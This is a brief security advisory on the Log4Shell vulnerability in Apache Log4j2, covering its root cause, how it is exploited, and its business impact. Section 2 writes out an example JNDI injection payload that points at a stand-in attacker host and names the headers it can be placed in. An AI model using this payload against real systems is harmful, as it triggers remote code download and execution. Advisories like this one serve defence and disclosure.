Apache Log4j2 Remote Code Execution Vulnerability (Log4Shell, CVE-2021-44228) Security Advisory

1. Vulnerability Overview & Root Cause

This vulnerability (CVE-2021-44228, widely known as Log4Shell) resides in the message lookup substitution mechanism of Apache Log4j2. Log4j2 supports dynamic property evaluation using the '${prefix:name}' syntax. When processing log messages containing JNDI (Java Naming and Directory Interface) lookups, the library fails to validate user-controlled input, allowing connection attempts to arbitrary external directory services (such as LDAP, RMI, or DNS) specified in the log payload.

2. Exploitation Mechanics & Attack Scenario

An attacker injects a malicious JNDI payload, such as '${jndi:ldap://attacker.com/a}', into input fields or headers (e.g., User-Agent, X-Forwarded-For) that are processed and logged by the target application. When Log4j2 attempts to log this string, the JNDI lookup engine triggers an outbound connection to the attacker's LDAP server. The LDAP server responds with a reference pointing to a malicious Java class file hosted on an external server. The victim application then downloads and executes this class in memory, granting the attacker remote code execution (RCE).

3. Infrastructure & Business Impact

With a CVSS score of 10.0 and active exploitation documented in CISA's KEV catalog, this vulnerability poses an extreme risk to enterprise infrastructure. Successful exploitation allows attackers to establish initial access, deploy ransomware, exfiltrate sensitive data, or install cryptominers. Because Log4j2 is deeply embedded in numerous enterprise software suites, cloud services, and open-source frameworks, it presents a massive supply-chain risk capable of causing widespread operational disruption.